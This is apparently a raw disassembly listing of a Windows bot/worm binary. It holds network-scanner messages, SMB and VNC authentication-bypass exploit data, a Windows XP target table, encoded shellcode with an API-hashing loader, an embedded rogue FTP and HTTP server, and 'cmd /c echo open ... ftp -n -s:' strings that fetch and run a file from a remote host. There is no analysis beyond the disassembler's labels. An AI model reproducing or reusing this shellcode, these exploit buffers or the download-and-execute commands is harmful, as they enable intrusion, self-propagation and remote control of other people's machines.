		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------

loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------

loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi

loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------

loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------

loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------

loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------

loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62

loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D

loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl

loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]

loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx

loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h

loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
